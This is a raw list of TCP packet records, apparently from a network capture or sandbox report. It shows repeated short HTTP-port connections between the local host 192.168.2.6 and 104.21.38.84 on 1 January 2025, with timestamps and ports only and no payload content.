Jan 1, 2025 16:05:29.095192909 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.095324993 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.100178003 CET	80	62918	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.186639071 CET	80	62918	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.235816002 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.306422949 CET	80	62917	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.360657930 CET	80	62918	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.360806942 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.407694101 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.481992006 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.482673883 CET	62919	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.482676029 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.487090111 CET	80	62917	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.487481117 CET	80	62919	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.487751007 CET	80	62918	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.487854004 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.487857103 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.487938881 CET	62919	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.488871098 CET	62919	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.493685007 CET	80	62919	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.845333099 CET	62919	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:29.850292921 CET	80	62919	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.941397905 CET	80	62919	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.985877037 CET	62919	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:30.213412046 CET	80	62919	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:30.267100096 CET	62919	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:30.341974020 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:30.346946955 CET	80	62920	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:30.350931883 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:30.351027966 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:30.355865955 CET	80	62920	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:30.705081940 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:30.710052013 CET	80	62920	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:30.814454079 CET	80	62920	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:30.860852957 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:30.992826939 CET	80	62920	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.048327923 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.201220036 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.202048063 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.206248045 CET	80	62920	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.206316948 CET	62920	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.206808090 CET	80	62921	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.206867933 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.207065105 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.212321997 CET	80	62921	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.564040899 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.568984032 CET	80	62921	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.661983013 CET	80	62921	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.704591036 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.829778910 CET	80	62921	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.876446962 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.948786974 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.949275017 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.953756094 CET	80	62921	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.954143047 CET	80	62922	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:31.954229116 CET	62921	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.954231024 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.954330921 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:31.959146023 CET	80	62922	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:32.298398972 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.303309917 CET	80	62922	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:32.403587103 CET	80	62922	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:32.454607964 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.577337980 CET	80	62922	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:32.626466990 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.709893942 CET	62919	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.716506004 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.717061996 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.721487045 CET	80	62922	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:32.721571922 CET	62922	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.721827984 CET	80	62923	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:32.721880913 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.721987009 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:32.727683067 CET	80	62923	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:33.080027103 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.085038900 CET	80	62923	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:33.186577082 CET	80	62923	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:33.235848904 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.443325043 CET	80	62923	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:33.502764940 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.562760115 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.562762022 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.567564011 CET	80	62924	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:33.567727089 CET	80	62923	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:33.568912029 CET	62923	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.568922997 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.569016933 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.573779106 CET	80	62924	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:33.923412085 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:33.928304911 CET	80	62924	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.013921022 CET	80	62924	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.131295919 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.194873095 CET	80	62924	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.282710075 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.314765930 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.314773083 CET	62925	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.317775965 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.319641113 CET	80	62925	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.319802046 CET	80	62924	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.320904016 CET	62925	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.320905924 CET	62924	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.322602987 CET	80	62926	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.326884985 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.326884985 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.331783056 CET	80	62926	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.438756943 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.443610907 CET	80	62927	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.444822073 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.444962025 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.449769020 CET	80	62927	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.673645973 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.678517103 CET	80	62926	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.678592920 CET	80	62926	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.781018972 CET	80	62926	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.798405886 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.803267002 CET	80	62927	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.897221088 CET	80	62927	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:34.938952923 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:34.978110075 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.070168972 CET	80	62926	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.076211929 CET	80	62927	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.126446009 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.188982964 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.201680899 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.201829910 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.202575922 CET	62928	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.206779957 CET	80	62926	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.206846952 CET	62926	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.207077980 CET	80	62927	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.207130909 CET	62927	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.207400084 CET	80	62928	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.207473040 CET	62928	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.207554102 CET	62928	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.212277889 CET	80	62928	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.566764116 CET	62928	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.571691990 CET	80	62928	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.651021957 CET	80	62928	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.706574917 CET	62928	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:35.932600021 CET	80	62928	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:35.986768007 CET	62928	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.062772989 CET	62929	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.067682981 CET	80	62929	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:36.067797899 CET	62929	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.068074942 CET	62929	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.072865963 CET	80	62929	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:36.423435926 CET	62929	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.428302050 CET	80	62929	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:36.513225079 CET	80	62929	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:36.579610109 CET	62929	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.770147085 CET	80	62929	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:36.888947964 CET	62929	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.889569044 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.894131899 CET	80	62929	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:36.894181967 CET	62929	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.894459963 CET	80	62930	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:36.894520044 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.894772053 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:36.899601936 CET	80	62930	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:37.251614094 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.256525040 CET	80	62930	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:37.337799072 CET	80	62930	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:37.392081022 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.604108095 CET	80	62930	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:37.658777952 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.716684103 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.716689110 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.721549034 CET	80	62931	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:37.721647978 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.721694946 CET	80	62930	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:37.721767902 CET	62930	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.722006083 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:37.726819038 CET	80	62931	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:38.080892086 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.085884094 CET	80	62931	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:38.201741934 CET	80	62931	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:38.376508951 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.481635094 CET	80	62931	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:38.588385105 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.608259916 CET	62928	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.613317013 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.614068985 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.618382931 CET	80	62931	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:38.618431091 CET	62931	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.619004011 CET	80	62932	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:38.619060993 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.619155884 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.623955011 CET	80	62932	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:38.971597910 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:38.976464987 CET	80	62932	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.091769934 CET	80	62932	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.183540106 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.272388935 CET	80	62932	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.322330952 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.405776024 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.406621933 CET	62933	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.410900116 CET	80	62932	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.410955906 CET	62932	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.411446095 CET	80	62933	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.411530972 CET	62933	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.411699057 CET	62933	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.416507006 CET	80	62933	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.779568911 CET	62933	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:39.784564018 CET	80	62933	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.856790066 CET	80	62933	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:39.907794952 CET	62933	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.080794096 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.080799103 CET	62933	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.085751057 CET	80	62934	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.086026907 CET	80	62933	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.086112976 CET	62933	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.086170912 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.086297989 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.091042995 CET	80	62934	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.199791908 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.204689026 CET	80	62935	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.205291986 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.209789038 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.214603901 CET	80	62935	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.439084053 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.443948030 CET	80	62934	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.444051027 CET	80	62934	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.539345026 CET	80	62934	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.564028025 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.568845034 CET	80	62935	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.603866100 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.670763969 CET	80	62935	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.710485935 CET	80	62934	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:40.720238924 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.827805996 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:40.957496881 CET	80	62935	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.001473904 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.076993942 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.077099085 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.077964067 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.082106113 CET	80	62934	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.082115889 CET	80	62935	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.082148075 CET	62934	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.082173109 CET	62935	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.082767010 CET	80	62936	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.082820892 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.082956076 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.087716103 CET	80	62936	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.439222097 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.444067001 CET	80	62936	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.624018908 CET	80	62936	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.677112103 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.788156986 CET	80	62936	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.832825899 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.875632048 CET	80	62936	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:41.923360109 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.996813059 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:41.997245073 CET	62937	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.001821041 CET	80	62936	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:42.002023935 CET	62936	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.002078056 CET	80	62937	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:42.002182007 CET	62937	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.005111933 CET	62937	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.009965897 CET	80	62937	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:42.361124992 CET	62937	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.365936995 CET	80	62937	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:42.468096972 CET	80	62937	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:42.643018007 CET	80	62937	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:42.643066883 CET	62937	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.808121920 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.812990904 CET	80	62938	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:42.813055992 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.813227892 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:42.818037987 CET	80	62938	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:43.157906055 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.162822962 CET	80	62938	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:43.266664982 CET	80	62938	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:43.313986063 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.440114021 CET	80	62938	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:43.485861063 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.561276913 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.561286926 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.566116095 CET	80	62939	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:43.566416979 CET	80	62938	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:43.566507101 CET	62938	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.566530943 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.566648960 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.571423054 CET	80	62939	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:43.924943924 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:43.929827929 CET	80	62939	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.010426998 CET	80	62939	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.189172029 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.261524916 CET	80	62939	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.348366976 CET	80	62939	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.350863934 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.465557098 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.465558052 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.470351934 CET	80	62940	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.470515013 CET	80	62939	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.470551968 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.470592022 CET	62939	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.470664978 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.475474119 CET	80	62940	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.829787970 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:44.834651947 CET	80	62940	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.918335915 CET	80	62940	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:44.985863924 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.183626890 CET	80	62940	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.322726011 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.339626074 CET	62937	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.339632034 CET	62903	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.343260050 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.343991041 CET	62941	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.348228931 CET	80	62940	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.348283052 CET	62940	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.348804951 CET	80	62941	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.348871946 CET	62941	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.348939896 CET	62941	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.353739977 CET	80	62941	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.706859112 CET	62941	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.711735010 CET	80	62941	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.722810030 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.722820044 CET	62941	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.727690935 CET	80	62942	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.731070995 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.731070995 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.734113932 CET	80	62941	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.735949993 CET	80	62942	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.735989094 CET	62941	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.839217901 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.844033957 CET	80	62943	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:45.844259024 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.844475031 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:45.849284887 CET	80	62943	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.082820892 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.087676048 CET	80	62942	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.087831020 CET	80	62942	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.174669027 CET	80	62942	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.190834999 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.195667982 CET	80	62943	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.300395966 CET	80	62943	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.345287085 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.376861095 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.388240099 CET	80	62942	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.485887051 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.556008101 CET	80	62943	104.21.38.84	192.168.2.6
